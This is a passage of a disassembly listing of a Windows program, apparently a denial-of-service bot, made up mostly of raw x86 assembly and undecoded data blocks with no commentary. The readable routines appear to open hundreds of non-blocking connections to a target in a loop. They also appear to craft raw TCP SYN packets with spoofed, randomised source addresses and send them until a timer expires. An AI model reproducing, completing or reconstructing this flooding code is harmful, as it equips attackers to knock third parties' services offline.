ptr [esp+18h] mov esi, eax call sub_41B779 push dword ptr [esp+24h] mov ebx, eax call sub_41B779 mov edi, eax call sub_41B8E2 cdq mov ecx, 200h push edi idiv ecx push ebx push dword ptr [esp+2Ch] lea eax, [edx+esi+100h] push eax push esi call sub_412B08 add esp, 20h test eax, eax jnz short loc_412E8E push 1 pop eax loc_412E8E: ; CODE XREF: ___:00412E89j cdq mov ecx, 3E8h idiv ecx cdq idiv edi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- byte_412E9D db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+6721o dd 3BCEC81h, 56530000h, 5708458Bh, 0F08B686Ah, 44BD8D59h dd 6AFFFFFEh, 0FF685B01h, 6A000000h, 6AA5F303h, 9C988902h dd 0FF000001h, 4CB02415h, 0FFF88300h, 75FC4589h, 3815FF5Fh dd 50004CAFh, 0FC44858Dh, 4C68FFFFh, 5000435Ch, 8995E8h dd 83FF3300h, 7D390CC4h, 572075DCh, 0FC44858Dh, 75FFFFFFh dd 858D50D8h, 0FFFFFF48h, 44B5FF50h, 0E8FFFFFEh, 0FFFF6B5Ah dd 8D14C483h, 0FFFC4485h, 85E850FFh, 0FF000022h, 0E3E8C875h dd 59FFFF84h, 0E8905759h, 22CDB2Bh, 6AF44D8Dh, 0FF335104h dd 5057026Ah, 0FFF45D89h, 4CAF8415h db 0, 83h word_412F4E dw 0FFF8h ; DATA XREF: ___:off_43A1B4o dd 15FF5D75h, 4CAF38h, 44858D50h, 68FFFFFCh, 435C1Ch, 891CE850h dd 0C4830000h, 0DC7D390Ch, 8D572075h, 0FFFC4485h, 0D875FFFFh dd 48858D50h, 50FFFFFFh, 0FE44B5FFh, 0E3E8FFFFh, 83FFFF6Ah dd 858D14C4h, 0FFFFFC44h, 220EE850h, 75FF0000h, 846CE8C8h dd 5959FFFFh, 0DAB5E857h, 8D90022Ch, 0FFFE4885h, 15FF50FFh dd 4CAFE4h, 75FFF883h, 44858D55h, 68FFFFFCh, 435BFCh, 88B4E850h dd 7D390000h, 755959DCh, 858D5720h, 0FFFFFC44h, 50D875FFh dd 0FF48858Dh, 0FF50FFFFh, 0FFFE44B5h, 6A7CE8FFh, 0C483FFFFh dd 44858D14h, 50FFFFFCh, 21A7E8h, 0C875FF00h, 0FF8405E8h dd 575959FFh, 0DA4DE890h, 106A022Ch, 57E4458Dh, 856EE850h dd 0C4830000h, 45C7660Ch, 570002E4h, 0AFA415FFh, 8966004Ch dd 858DE645h, 0FFFFFE48h, 0E415FF50h, 8B004CAFh, 4270A835h dd 0E8458900h, 0FF087D89h, 0F84589D6h, 452BD6FFh, 0B9D233F8h dd 3E8h, 453BF1F7h, 94870FD0h, 68000001h, 41Ch, 0DD1805C6h dd 0FF45004Ch, 4CAFA415h, 0D47D3900h, 0DD1AA366h, 8966004Ch dd 4CDD1C1Dh, 3D896600h, 4CDD1Eh, 0DD2005C6h, 8880004Ch dd 4CDD211Dh, 3D896600h, 4CDD22h, 33E83074h, 8B000088h dd 8E3C1D8h, 8829E8h, 0C1D80300h, 1FE808E3h, 3000088h dd 8E3C1D8h, 8815E8h, 6AD80300h, 241D8901h, 5B004CDDh dd 0B5FF18EBh, 0FFFFFE44h, 0FF7B2AE8h, 0FF5059FFh, 4CAFE415h dd 0DD24A300h, 458B004Ch, 0DD28A3E8h, 0E3E8004Ch, 99000087h dd 100B9h, 88F9F700h, 4CDD2C15h, 87D0E800h, 0B9990000h dd 100h, 1588F9F7h, 4CDD2Dh, 87BDE8h, 0F0B99900h, 68000000h dd 400h, 8966F9F7h, 4CDD2E3Dh, 1D896600h, 4CDD32h, 15896642h dd 4CDD30h, 8795E8h, 0FFB99900h, 0F7000000h, 346852F9h dd 0E8004CDDh, 8430h, 8D0CC483h, 106AE445h, 1C685750h dd 68000004h, 4CDD18h, 0FFFC75FFh, 4CB00815h, 0FFF88300h dd 45FF0874h, 0FECAE908h, 75FFFFFFh, 3C15FFFCh, 0FF004CB0h dd 4CAF3815h, 858D5000h, 0FFFFFE48h, 500875FFh, 435BB468h dd 44858D00h, 68FFFFFCh, 200h, 87C6E850h, 0C4830000h, 0DC7D3918h dd 8D572075h, 0FFFC4485h, 0D875FFFFh, 48858D50h, 50FFFFFFh dd 0FE44B5FFh, 93E8FFFFh, 83FFFF68h, 858D14C4h, 0FFFFFC44h dd 1FBEE850h, 75FF0000h, 821CE8C8h, 5959FFFFh, 64E89057h dd 0FF022CD8h, 15FFFC75h, 4CB03Ch, 3308458Bh, 3CC06BD2h dd 0E8C1C88Bh, 0D075F70Ah, 5114E9C1h, 48858D50h, 0FFFFFFFEh dd 8D500875h, 0FFFEC885h, 858D50FFh, 0FFFFFC44h, 435B6868h dd 47E85000h, 83000086h, 7D391CC4h, 572075DCh, 0FC44858Dh dd 75FFFFFFh, 858D50D8h, 0FFFFFF48h, 44B5FF50h, 0E8FFFFFEh dd 0FFFF680Eh, 8D14C483h, 0FFFC4485h, 39E850FFh, 0FF00001Fh dd 97E8C875h, 59FFFF81h, 0E8905759h, 22CD7DFh dword_413284 dd 0B8EC8B55h, 10320h, 888FE8h, 8458B00h, 6A575653h, 59F08B49h ; DATA XREF: sub_401ACD+550Fo dd 0FEBCBD8Dh, 0A5F3FFFFh, 895F016Ah, 120B8h, 2C15FF00h dd 89004CAFh, 858D0845h, 0FFFFFF40h, 0E415FF50h, 8B004CAFh dd 33DB33F0h, 0FFFE83C0h, 858D1175h, 0FFFFFF40h, 2815FF50h dd 3B004CB0h, 830674C3h, 75FF087Dh, 40858D5Dh, 50FFFFFFh dd 0FCBC858Dh, 0A468FFFFh, 5000435Ch, 8589E8h, 0CC48300h dd 75D85D39h, 858D5320h, 0FFFFFCBCh, 50D475FFh, 0FEC0858Dh dd 0FF50FFFFh, 0FFFEBCB5h, 6750E8FFh, 0C483FFFFh, 0BC858D14h dd 50FFFFFCh, 1E7BE8h, 0D075FF00h, 0FF80D9E8h, 575959FFh dd 2CD722E8h, 0C33B9002h, 408B0C74h, 8B008B0Ch, 0FC458900h dd 758903EBh, 8D1C6AFCh, 5053E045h, 822FE8h, 0E84D8300h dd 0FFDCB8FFh, 0C4830000h, 0C445390Ch, 4589037Eh, 0C87D39C4h dd 7D89037Dh, 39F633C8h, 267EC05Dh, 8DC875FFh, 1C6AE045h dd 858D5350h, 0FFFEFCE0h, 50C475FFh, 0FFFC75FFh, 15FF0875h dd 4CAEBCh, 0C0753B46h, 75FFDA7Ch, 5C15FF08h, 8D004CB0h dd 0FFFF4085h, 858D50FFh, 0FFFFFCBCh, 435C7868h, 0BBE85000h dd 83000084h, 5D390CC4h, 532075D8h, 0FCBC858Dh, 75FFFFFFh dd 858D50D4h, 0FFFFFEC0h, 0BCB5FF50h, 0E8FFFFFEh, 0FFFF6682h dd 8D14C483h, 0FFFCBC85h, 0ADE850FFh, 0FF00001Dh, 0BE8D075h dd 59FFFF80h, 0E8905359h, 22CD653h dword_413410 dd 0B8EC8B55h, 10310h, 8703E8h, 8458B00h, 6A575653h, 59F08B49h ; DATA XREF: sub_401ACD+575Bo dd 0FECCBD8Dh, 0A5F3FFFFh, 895E016Ah, 120B0h, 0BFE89000h dd 500227D1h, 8493E8h, 116A5900h, 26A026Ah, 0B02415FFh dd 0D88B004Ch, 106AFF33h, 57F0458Dh, 812EE850h, 0C4830000h dd 50858D0Ch, 66FFFFFFh, 2F045C7h, 15FF5000h, 4CAFE4h dd 89FFF883h, 75750845h, 0FF50858Dh, 0FF50FFFFh, 4CB02815h dd 75C73B00h, 50858D5Dh, 50FFFFFFh, 0FCCC858Dh, 0F868FFFFh dd 5000435Ch, 83DDE8h, 0CC48300h, 75E87D39h, 858D5720h dd 0FFFFFCCCh, 50E475FFh, 0FED0858Dh, 0FF50FFFFh, 0FFFECCB5h dd 65A4E8FFh, 0C483FFFFh, 0CC858D14h, 50FFFFFCh, 1CCFE8h dd 0E075FF00h, 0FF7F2DE8h, 565959FFh, 2CD576E8h, 408B9002h dd 0EB008B0Ch, 8458D03h, 7D39008Bh, 0F44589DCh, 0DBE81175h dd 99000083h, 0FFDCB9h, 42F9F700h, 0FF03EB52h, 15FFDC75h dd 4CAFA4h, 66DC7539h, 7DF24589h, 0DC758903h, 0FFFFB8h dd 0DC453900h, 4589037Eh, 0D0458BDCh, 59990A6Ah, 7D39F9F7h dd 0D04589D8h, 75890375h, 39F633D8h, 1A7ED47Dh, 838DE8h dd 0FFB99900h, 0F7000000h, 753B46F9h, 359488D4h, 0FFFEFCEFh dd 458BE67Ch, 0D04DFFD0h, 557EC085h, 8D5E0B6Ah, 106AF045h dd 5FE85750h, 6A000083h, 0F759990Ah, 0D4458BF9h, 8D50C22Bh dd 0FEFCF085h, 0FF5350FFh, 4CB00815h, 0D875FF00h, 0D96AE890h dd 754E0225h, 0DC7D39CEh, 2FE8BC75h, 99000083h, 0FFDCB9h dd 42F9F700h, 0A415FF52h, 66004CAFh, 0EBF24589h, 50858DA1h dd 50FFFFFFh, 0FCCC858Dh, 0CC68FFFFh, 5000435Ch, 82A5E8h dd 0CC48300h, 75E87D39h, 858D5720h, 0FFFFFCCCh, 50E475FFh dd 0FED0858Dh, 0FF50FFFFh, 0FFFECCB5h, 646CE8FFh, 0C483FFFFh dd 0CC858D14h, 50FFFFFCh, 1B97E8h, 0E075FF00h, 0FF7DF5E8h dd 575959FFh, 0D43DE890h db 2Ch, 2 word_413626 dw 8B55h ; DATA XREF: sub_401ACD+4DECo dd 14EC81ECh, 8B000004h, 57560845h, 85B9h, 8DF08B00h, 0FFFDECBDh dd 0C7A5F3FFh, 21080h, 100h, 0F0858D00h, 50FFFFFEh, 0FE70858Dh dd 8D50FFFFh, 0FFFDF085h, 20E850FFh, 83000001h, 8D500CC4h dd 0FFFBEC85h, 5D2068FFh, 0E8500043h, 820Ah, 0C483F633h dd 0F875390Ch, 8D562075h, 0FFFBEC85h, 0F475FFFFh, 70858D50h dd 50FFFFFFh, 0FDECB5FFh, 0CFE8FFFFh, 83FFFF63h, 858D14C4h dd 0FFFFFBECh, 1AFAE850h, 75FF0000h, 7D58E8F0h, 5959FFFFh dd 0D3A1E856h, 5F90022Ch ; --------------------------------------------------------------------------- pop esi ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4136C5 proc near ; CODE XREF: ___:004137AEp var_654 = byte ptr -654h var_14 = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 654h push 10h lea eax, [ebp+var_14] push 0 push eax call sub_41B590 add esp, 0Ch mov [ebp+var_14], 2 push [ebp+arg_4] call dword_4CAFA4 mov [ebp+var_12], ax mov eax, [ebp+arg_0] mov [ebp+var_10], eax mov eax, [ebp+arg_8] test eax, eax mov [ebp+var_4], 1 jle short loc_413783 push ebx push esi push edi mov [ebp+arg_4], eax mov edi, 190h loc_413710: ; CODE XREF: sub_4136C5+B9j lea esi, [ebp+var_654] mov ebx, edi loc_413718: ; CODE XREF: sub_4136C5+7Aj push 0 push 1 push 2 nop call near ptr 71AB3C22h cmp eax, 0FFFFFFFFh mov [esi], eax jz short loc_41373B lea ecx, [ebp+var_4] push ecx push 8004667Eh push eax call near ptr 71AB155Ah nop loc_41373B: ; CODE XREF: sub_4136C5+64j add esi, 4 dec ebx jnz short loc_413718 lea esi, [ebp+var_654] mov ebx, edi loc_413749: ; CODE XREF: sub_4136C5+96j lea eax, [ebp+var_14] push 10h push eax push dword ptr [esi] nop call near ptr 71AB3E5Dh add esi, 4 dec ebx jnz short loc_413749 push 64h nop call near ptr 2670F10h lea esi, [ebp+var_654] mov ebx, edi loc_41376D: ; CODE XREF: sub_4136C5+B4j push dword ptr [esi] nop call near ptr 71AB1A6Dh add esi, 4 dec ebx jnz short loc_41376D dec [ebp+arg_4] jnz short loc_413710 pop edi pop esi pop ebx loc_413783: ; CODE XREF: sub_4136C5+3Ej xor eax, eax leave retn sub_4136C5 endp ; --------------------------------------------------------------------------- push ebx push esi push edi push dword ptr [esp+10h] call sub_40AAF9 push dword ptr [esp+18h] mov edi, eax call sub_41B779 push dword ptr [esp+20h] mov ebx, eax call sub_41B779 mov esi, eax push esi push ebx push edi call sub_4136C5 add esp, 18h test eax, eax jnz short loc_4137BD push 1 pop eax loc_4137BD: ; CODE XREF: ___:004137B8j cdq mov ecx, 3E8h pop edi idiv ecx cdq idiv esi pop esi pop ebx retn ; --------------------------------------------------------------------------- dword_4137CC dd 81EC8B55h, 414ECh, 8458B00h, 85B95756h, 8B000000h, 0ECBD8DF0h ; DATA XREF: sub_401ACD+6449o dd 0F3FFFFFDh, 1080C7A5h, 1000002h, 8D000000h, 0FFFEF085h dd 858D50FFh, 0FFFFFE70h, 0F0858D50h, 50FFFFFDh, 310E8h dd 0CC48300h, 0EC858D50h, 68FFFFFBh, 435D4Ch, 8064E850h dd 0F6330000h, 390CC483h, 2075F875h, 0EC858D56h, 0FFFFFFFBh dd 8D50F475h, 0FFFF7085h, 0B5FF50FFh, 0FFFFFDECh, 0FF6229E8h dd 14C483FFh, 0FBEC858Dh, 0E850FFFFh, 1954h, 0E8F075FFh dd 0FFFF7BB2h, 90565959h, 2CD1FAE8h ; --------------------------------------------------------------------------- add bl, [edi+5Eh] ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41386B proc near ; CODE XREF: ___:00413B59p var_284 = byte ptr -284h var_F4 = byte ptr -0F4h var_B4 = byte ptr -0B4h var_B3 = byte ptr -0B3h var_A0 = byte ptr -0A0h var_94 = byte ptr -94h var_8C = byte ptr -8Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = byte ptr -70h var_6F = byte ptr -6Fh var_6E = word ptr -6Eh var_58 = dword ptr -58h var_50 = word ptr -50h var_4E = word ptr -4Eh var_4C = dword ptr -4Ch var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = word ptr -34h var_32 = word ptr -32h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = byte ptr -28h var_27 = byte ptr -27h var_26 = word ptr -26h var_24 = word ptr -24h var_22 = word ptr -22h var_20 = byte ptr -20h var_1E = word ptr -1Eh var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = word ptr -16h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 284h push ebx push edi push 0Eh xor ebx, ebx pop ecx xor eax, eax lea edi, [ebp+var_B3] mov [ebp+var_B4], bl rep stosd stosw stosb lea eax, [ebp+var_284] push eax push 202h call dword_4CAF14 test eax, eax jz short loc_4138AB xor eax, eax jmp loc_413B19 ; --------------------------------------------------------------------------- loc_4138AB: ; CODE XREF: sub_41386B+37j push 1 pop edi push edi push ebx push ebx push 0FFh push 3 push 2 call dword_4CB048 cmp eax, 0FFFFFFFFh mov [ebp+var_C], eax jz loc_413B11 push esi lea ecx, [ebp+var_38] push 4 push ecx push 2 push ebx push eax mov [ebp+var_38], edi call dword_4CAF84 cmp eax, 0FFFFFFFFh jz loc_413B07 push 10h lea eax, [ebp+var_50] push ebx push eax call sub_41B590 add esp, 0Ch mov [ebp+var_50], 2 push [ebp+arg_8] call dword_4CAFA4 mov esi, [ebp+arg_0] push 28h mov [ebp+var_4E], ax mov [ebp+var_4C], esi mov [ebp+var_20], 45h call dword_4CAFA4 push [ebp+arg_8] mov [ebp+var_1E], ax mov [ebp+var_1C], di mov [ebp+var_1A], bx mov [ebp+var_18], 80h mov [ebp+var_17], 6 mov [ebp+var_16], bx mov [ebp+var_10], esi call dword_4CAFA4 push 4000h mov [ebp+var_32], ax mov [ebp+var_2C], ebx mov [ebp+var_28], 50h mov [ebp+var_27], 2 call dword_4CAFA4 mov [ebp+var_26], ax lea eax, [ebp+var_40] push eax mov [ebp+var_22], bx mov [ebp+arg_8], ebx call near ptr 27B0000h nop lea eax, [ebp+var_8] push eax call near ptr 27A0894h nop push [ebp+var_3C] mov eax, [ebp+arg_C] cdq push [ebp+var_40] push edx push eax call sub_41D280 add eax, [ebp+var_8] mov esi, edx adc esi, [ebp+var_4] mov [ebp+var_58], eax loc_413996: ; CODE XREF: sub_41386B+25Dj ; sub_41386B+26Bj mov [ebp+var_24], bx call sub_41B8E2 cdq mov ecx, 3E9h idiv ecx add edx, 3E8h push edx call dword_4CAFA4 mov [ebp+var_34], ax call sub_41B8E2 mov edi, eax shl edi, 10h call sub_41B8E2 or edi, eax push edi call dword_4CAFA4 movzx eax, ax mov [ebp+var_30], eax mov eax, [ebp+arg_4] inc [ebp+arg_4] push eax call dword_4CAFA0 push 14h mov [ebp+var_14], eax mov eax, [ebp+var_10] pop edi push edi mov [ebp+var_74], eax mov [ebp+var_70], bl mov [ebp+var_6F], 6 call dword_4CAFA4 mov [ebp+var_6E], ax mov eax, [ebp+var_14] mov [ebp+var_78], eax lea eax, [ebp+var_78] push 20h push eax lea eax, [ebp+var_B4] push eax call sub_41C310 lea eax, [ebp+var_34] push edi push eax lea eax, [ebp+var_94] push eax call sub_41C310 lea eax, [ebp+var_B4] push 34h push eax call sub_40AC68 mov [ebp+var_24], ax lea eax, [ebp+var_20] push edi push eax lea eax, [ebp+var_B4] push eax call sub_41C310 lea eax, [ebp+var_34] push edi push eax lea eax, [ebp+var_A0] push eax call sub_41C310 push 4 lea eax, [ebp+var_8C] push ebx push eax call sub_41B590 add esp, 44h lea eax, [ebp+var_B4] push 28h push eax call sub_40AC68 mov [ebp+var_16], ax lea eax, [ebp+var_20] push edi push eax lea eax, [ebp+var_B4] push eax call sub_41C310 add esp, 14h lea eax, [ebp+var_50] push 10h push eax push ebx lea eax, [ebp+var_B4] push 28h push eax push [ebp+var_C] call dword_4CB008 cmp eax, 0FFFFFFFFh jz short loc_413ADB add [ebp+arg_8], eax lea eax, [ebp+var_8] push eax nop call near ptr 27A0894h mov eax, [ebp+var_4] cmp eax, esi jg short loc_413B04 jl loc_413996 mov eax, [ebp+var_8] cmp eax, [ebp+var_58] jnb short loc_413B04 jmp loc_413996 ; --------------------------------------------------------------------------- loc_413ADB: ; CODE XREF: sub_41386B+247j call dword_4CAF38 push eax lea eax, [ebp+var_F4] push offset dword_435D74 push eax call sub_41B886 lea eax, [ebp+var_F4] push eax call sub_4151AC add esp, 10h jmp short loc_413B07 ; --------------------------------------------------------------------------- loc_413B04: ; CODE XREF: sub_41386B+25Bj ; sub_41386B+269j mov ebx, [ebp+arg_8] loc_413B07: ; CODE XREF: sub_41386B+78j ; sub_41386B+297j push [ebp+var_C] call dword_4CB03C pop esi loc_413B11: ; CODE XREF: sub_41386B+5Bj call dword_4CAEFC mov eax, ebx loc_413B19: ; CODE XREF: sub_41386B+3Bj pop edi pop ebx leave retn sub_41386B endp ; --------------------------------------------------------------------------- push ebx push esi push edi push dword ptr [esp+10h] call sub_40AAF9 push dword ptr [esp+18h] mov esi, eax call sub_41B779 push dword ptr [esp+20h] mov ebx, eax call sub_41B779 mov edi, eax call sub_41B8E2 cdq mov ecx, 200h push edi idiv ecx push ebx lea eax, [edx+esi+100h] push eax push esi call sub_41386B add esp, 1Ch test eax, eax jnz short loc_413B68 push 1 pop eax loc_413B68: ; CODE XREF: ___:00413B63j cdq mov ecx, 3E8h idiv ecx cdq idiv edi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- byte_413B77 db 55h ; DATA XREF: sub_401ACD+6E44o dd 0EC81EC8Bh, 394h, 5608458Bh, 59656A57h, 0BD8DF08Bh dd 0FFFFFE6Ch, 80C7A5F3h, 190h, 1, 0FEF0858Dh, 0E850FFFFh dd 7BD1h, 858D5059h, 0FFFFFE70h, 0E415FF50h, 50004CAFh dd 5DE8h, 50595900h, 0FC6C858Dh, 9468FFFFh, 5000435Dh dd 7CB5E8h, 83F63300h, 75390CC4h, 562075F8h, 0FC6C858Dh dd 75FFFFFFh, 858D50F4h, 0FFFFFF70h, 6CB5FF50h, 0E8FFFFFEh dd 0FFFF5E7Ah, 8D14C483h, 0FFFC6C85h, 0A5E850FFh, 0FF000015h dd 3E8F075h, 59FFFF78h, 0E8905659h, 22CCE4Bh, 8B555E5Fh dd 98EC81ECh, 53000000h, 16A5756h, 78A58359h, 0FFFFFFh dd 6583046Ah, 0BB5E00A8h, 0FFh, 0C033066Ah, 0AC7D8D5Ah dd 0FF7C8D89h, 45C7FFFFh, 280h, 84758900h, 0C7885589h dd 88C45h, 45C70000h, 0C90h, 9445C700h, 11h, 169845C7h dd 0C7000000h, 299C45h, 45C70000h, 3AA0h, 0A45D8900h, 0ABB04589h dd 89D47D8Dh, 4589B445h, 0BC45C7B8h, 2000h, 89C07589h dd 45C7C455h, 3FFFC8h, 0CC4D8900h, 89D04589h, 0BFABD84Dh dd 100h, 930BE857h, 89590000h, 5057FC45h, 0AFB815FFh, 75FF004Ch dd 2815FFFCh, 8B004CB0h, 6A530C40h, 8B026A03h, 89008B00h dd 15FFF445h, 4CB024h, 56D84D8Dh, 6A026A51h, 45895000h dd 8415FFFCh, 0BE004CAFh, 200h, 77D3E856h, 3D8B0000h, 4270A8h dd 0F8458959h, 4589D7FFh, 8458BF0h, 29A68h, 6C858900h dd 66FFFFFFh, 0FF6885C7h, 2FFFFh, 0AFA415FFh, 8966004Ch dd 0FFFF6A85h, 2BD7FFFFh, 0D233F045h, 3E8B9h, 3BF1F700h dd 870F0C45h, 0CFh, 7B91E8h, 0CB8B9900h, 458BF9F7h, 0FFFF25F4h dd 0E2C100FFh, 89D00B18h, 77E8F455h, 9900007Bh, 0F9F7CB8Bh dd 0E8AC5589h, 7B6Ah, 1FA4B999h, 45C60000h, 0F9F745DCh dd 4DD45C6h, 0E8D45589h, 7B52h, 0E0458966h, 7B49E8h, 990A6A00h dd 66F9F759h, 0B095448Bh, 0A415FF50h, 56004CAFh, 0E2458966h dd 0AFA415FFh, 8966004Ch, 5D88DE45h, 7B20E8E4h, 0E6A0000h dd 0F9F75999h, 848A146Ah, 0FFFF7895h, 0E54588FFh, 89F4458Bh dd 458BE845h, 0EC458908h, 50DC458Dh, 0FF6E7FE8h, 458966FFh dd 0DC458DE6h, 0FF50146Ah, 15E8F875h, 83000085h, 858D14C4h dd 0FFFFFF68h, 6A50106Ah, 75FF5600h, 0FC75FFF8h, 0B00815FFh dd 1AE9004Ch, 0FFFFFFFFh, 8EE8F875h, 59000072h, 0FFFC75FFh dd 4CB03C15h, 58016A00h, 0C95B5E5Fh ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- byte_413E35 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+53E8o dd 440EC81h, 458B0000h, 57565308h, 0F08B686Ah, 0C0BD8D59h dd 0F3FFFFFDh, 33016AA5h, 0BD8D5EDBh, 0FFFFFF61h, 0B0890E6Ah dd 19Ch, 88C03359h, 0FFFF609Dh, 66ABF3FFh, 3D8BAAABh, 4270A8h dd 0E850D7FFh, 7A58h, 0FF6859h, 36A0000h, 15FF026Ah, 4CB024h dd 89FFF883h, 6675FC45h, 0AF3815FFh, 8D50004Ch, 0FFFBC085h dd 5EAC68FFh, 0E8500043h, 79D6h, 390CC483h, 0FFFF589Dh dd 532375FFh, 0FBC0858Dh, 0B5FFFFFFh, 0FFFFFF54h, 0C4858D50h dd 50FFFFFEh, 0FDC0B5FFh, 97E8FFFFh, 83FFFF5Bh, 858D14C4h dd 0FFFFFBC0h, 12C2E850h, 0B5FF0000h, 0FFFFFF44h, 0FF751DE8h dd 535959FFh, 2CCB66E8h, 4D8D9002h, 51046ACCh, 5053026Ah dd 0FFCC7589h, 4CAF8415h, 0FFF88300h, 15FF6675h, 4CAF38h dd 0C0858D50h, 68FFFFFBh, 435E74h, 7958E850h, 0C4830000h dd 589D390Ch, 75FFFFFFh, 858D5323h, 0FFFFFBC0h, 0FF54B5FFh dd 8D50FFFFh, 0FFFEC485h, 0B5FF50FFh, 0FFFFFDC0h, 0FF5B19E8h dd 14C483FFh, 0FBC0858Dh, 0E850FFFFh, 1244h, 0FF44B5FFh dd 9FE8FFFFh, 59FFFF74h, 0E8905359h, 22CCAE7h, 0FDC4858Dh dd 0FF50FFFFh, 4CAFE415h, 0FFF88300h, 858D5E75h, 0FFFFFBC0h dd 435E5468h, 0E7E85000h, 39000078h, 0FFFF589Dh, 755959FFh dd 858D5323h, 0FFFFFBC0h, 0FF54B5FFh, 8D50FFFFh, 0FFFEC485h dd 0B5FF50FFh, 0FFFFFDC0h, 0FF5AA9E8h, 14C483FFh, 0FBC0858Dh dd 0E850FFFFh, 11D4h, 0FF44B5FFh, 2FE8FFFFh, 59FFFF74h dd 0E8905359h, 22CCA77h, 458D106Ah, 0E85053BCh, 7598h dd 660CC483h, 2BC45C7h, 15FF5300h, 4CAFA4h, 0BE458966h dd 0FDC4858Dh, 0FF50FFFFh, 4CAFE415h, 0C0458900h, 0FF085D89h dd 0D04589D7h, 452BD7FFh, 0B9D233D0h, 3E8h, 853BF1F7h dd 0FFFFFF4Ch, 2AA870Fh, 286A0000h, 45D445C6h, 0AFA415FFh dd 9D39004Ch, 0FFFFFF50h, 0D6458966h, 0D8758966h, 0DA5D8966h dd 80DC45C6h, 6DD45C6h, 0DE5D8966h, 73E82D74h, 8B000078h dd 8E6C1F0h, 7869E8h, 0C1F00300h, 5FE808E6h, 3000078h dd 8E6C1F0h, 7855E8h, 6AF00300h, 0E0758901h, 0FF16EB5Eh dd 0FFFDC0B5h, 6B6DE8FFh, 5059FFFFh, 0AFE415FFh, 4589004Ch dd 0C0458BE0h, 0FF489D39h, 4589FFFFh, 0E81075E4h, 7822h dd 401B999h, 0F9F70000h, 0FF06EB52h, 0FFFF48B5h, 0A415FFFFh dd 66004CAFh, 0E8EA4589h, 7802h, 401B999h, 0F9F70000h dd 0A415FF52h, 68004CAFh, 12345678h, 0E8458966h, 0AFA015FFh dd 4589004Ch, 44858DECh, 68FFFFFEh, 42ABACh, 77EEE850h dd 85590000h, 97459C0h, 0C6F05D89h, 0EB02F545h, 44858D5Ch dd 68FFFFFEh, 42A9E8h, 77CEE850h, 85590000h, 97459C0h dd 0C6F05D89h, 0EB10F545h, 44858D3Ch, 68FFFFFEh, 42A9E0h dd 77AEE850h, 85590000h, 257459C0h, 7785E8h, 99036A00h dd 89F9F759h, 77E8F055h, 6A000077h, 0F7599902h, 1ADAF7F9h dd 0EE280D2h, 5588D102h, 20068F5h, 45C60000h, 15FF50F4h dd 4CAFA4h, 0F6458966h, 89E0458Bh, 458B9C45h, 66146AE4h dd 66FA5D89h, 89F85D89h, 5D88A045h, 0A545C6A4h, 0A415FF06h dd 66004CAFh, 8DA64589h, 206A9C45h, 60858D50h, 50FFFFFFh dd 8147E8h, 0E8458D00h, 8D50146Ah, 0E8508045h, 8138h, 0FF60858Dh dd 346AFFFFh, 6A82E850h, 8966FFFFh, 458DF845h, 50146AD4h dd 0FF60858Dh, 0E850FFFFh, 8114h, 6AE8458Dh, 858D5014h dd 0FFFFFF74h, 8102E850h, 46A0000h, 5388458Dh, 7376E850h dd 0C4830000h, 60858D44h, 6AFFFFFFh, 3DE85028h, 66FFFF6Ah dd 8DDE4589h, 146AD445h, 60858D50h, 50FFFFFFh, 80CFE8h dd 14C48300h, 6ABC458Dh, 8D535010h, 0FFFF6085h, 503C6AFFh dd 0FFFC75FFh, 4CB00815h, 0FFF88300h, 45FF0874h, 0FDBAE908h dd 75FFFFFFh, 3C15FFFCh, 0FF004CB0h, 4CAF3815h, 858D5000h dd 0FFFFFDC4h, 500875FFh, 435E0468h, 0C0858D00h, 68FFFFFBh dd 200h, 76E6E850h, 0C4830000h, 589D3918h, 75FFFFFFh, 858D5323h dd 0FFFFFBC0h, 0FF54B5FFh, 8D50FFFFh, 0FFFEC485h, 0B5FF50FFh dd 0FFFFFDC0h, 0FF57ADE8h, 14C483FFh, 0FBC0858Dh, 0E850FFFFh dd 0ED8h, 0FF44B5FFh, 33E8FFFFh, 59FFFF71h, 0E8905359h dd 22CC77Bh, 0FFFC75FFh, 4CB03C15h, 8458B00h, 0C06BD233h dd 0C1C88B3Ch, 0B5F70AE8h, 0FFFFFF4Ch, 5114E9C1h, 0C4858D50h dd 0FFFFFFFDh, 8D500875h, 0FFFE4485h, 858D50FFh, 0FFFFFBC0h dd 435DB468h, 5BE85000h, 83000075h, 9D391CC4h, 0FFFFFF58h dd 8D532375h, 0FFFBC085h, 54B5FFFFh, 50FFFFFFh, 0FEC4858Dh dd 0FF50FFFFh, 0FFFDC0B5h, 571CE8FFh, 0C483FFFFh, 0C0858D14h dd 50FFFFFBh, 0E47E8h, 44B5FF00h, 0E8FFFFFFh, 0FFFF70A2h dd 0E8535959h, 22CC6EBh db 90h ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov eax, [ebp+0Ch] mov edx, [ebp+8] push esi xor esi, esi cmp eax, 1 mov [ebp+0Ch], esi jle short loc_4143A5 mov ecx, eax push edi shr ecx, 1 lea edi, [ecx+ecx] sub eax, edi loc_414397: ; CODE XREF: ___:0041439Fj movzx edi, word ptr [edx] add esi, edi inc edx inc edx dec ecx jnz short loc_414397 pop edi cmp eax, 1 loc_4143A5: ; CODE XREF: ___:0041438Bj jnz short loc_4143B2 mov al, [edx] mov [ebp+0Ch], al movzx eax, word ptr [ebp+0Ch] add esi, eax loc_4143B2: ; CODE XREF: ___:loc_4143A5j mov ecx, esi and esi, 0FFFFh sar ecx, 10h add ecx, esi pop esi mov eax, ecx sar eax, 10h add eax, 